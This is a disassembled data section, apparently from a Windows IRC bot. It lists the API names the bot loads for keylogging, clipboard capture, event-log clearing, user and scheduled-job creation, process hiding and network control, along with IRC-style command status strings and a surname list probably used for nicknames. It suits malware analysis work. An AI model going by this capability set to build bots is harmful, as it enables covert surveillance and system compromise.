aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409909+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409909+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409909+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409909+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409909:loc_40A417o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409909+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409909+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409909:loc_40A3CDo
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409909+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409909+A87o
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409909:loc_40A383o
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409909+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409909+9ECo
					; sub_418AF1+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409909+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409909+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409909+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409909+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409909+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409909+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409909+991o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409909+984o
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409909+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409909+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409909:loc_40A267o
					; sub_418AF1+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409909+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409909+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409909+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409909:loc_40A208o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409909+8D2o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409909+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409909+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409909+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409909+839o
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409909+82Co
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409909+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409909+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409909+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409909+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409909+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409909:loc_40A0E8o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409909+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409909+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409909+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409909+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409909+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409909+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409909+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409909+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409909+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409909+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409909+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409909+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409909+60Ao
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_409909+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409909+5E3o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409909+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409909+5C9o
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_409909+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409909+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409909+5A2o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_409909+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409909+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409909+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409909+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409909+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409909+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409909+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409909+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409909+52Do
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409909+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409909+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409909+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409909+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409909+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409909+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409909+46Do
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409909+460o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409909+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409909+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409909+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409909:loc_409D36o
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409909:loc_409D0Eo
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409909+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409909+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409909+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409909+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409909+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409909+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409909+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409909:loc_409C60o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409909+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409909+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409909:loc_409C1Bo
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409909+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409909+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409909+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409909+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409909+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409909+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409909+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409909+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409909:loc_409B68o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409909+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409909+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409909+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409909:loc_409B01o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409909+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409909+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409909+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409909+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409909+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409909+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409909+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409909+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409909:loc_409A3Eo
					; sub_425029+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409909:loc_409A11o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409909+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409909+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409909+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409909+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409909+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409909+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409909+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409909+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409909+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409909+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409909+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409909+Ao
		align 4
unk_42D6C4	db  2Dh	; -		; DATA XREF: sub_40A5C5+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+2CCo
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+12Co
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+28o
		align 10h
a_:					; DATA XREF: sub_41036B+252o
		unicode	0, <.>,0
unk_42D854	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A9E7o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42D884	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A9B5o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42D8B4	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A981o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42D8D8	db  2Dh	; -		; DATA XREF: sub_40A928+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AA06+46o
					; sub_40C2AF+38o ...
aReal		db 'real',0
		align 4
		dd 0
dword_42D91C	dd 0			; DATA XREF: sub_40AE84+7o
off_42D920	dd offset sub_40AAAC	; DATA XREF: sub_40AE84+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AB19h, 7474656Ch, 7265h, 0
		dd 2, 40AB77h, 706D6F63h, 2 dup(0)
		dd 3, 40ABC4h, 6E756F63h, 797274h, 0
		dd 4, 40AC62h, 736Fh, 2	dup(0)
		dd 5, 40ACD7h, 6E6C6C61h, 6B6369h, 0
		dd 6, 40AEEDh
off_42D99C	dd offset aAbdulrazak	; DATA XREF: sub_40AAAC+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D9A8	dd offset aAddison	; DATA XREF: sub_40AE84+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
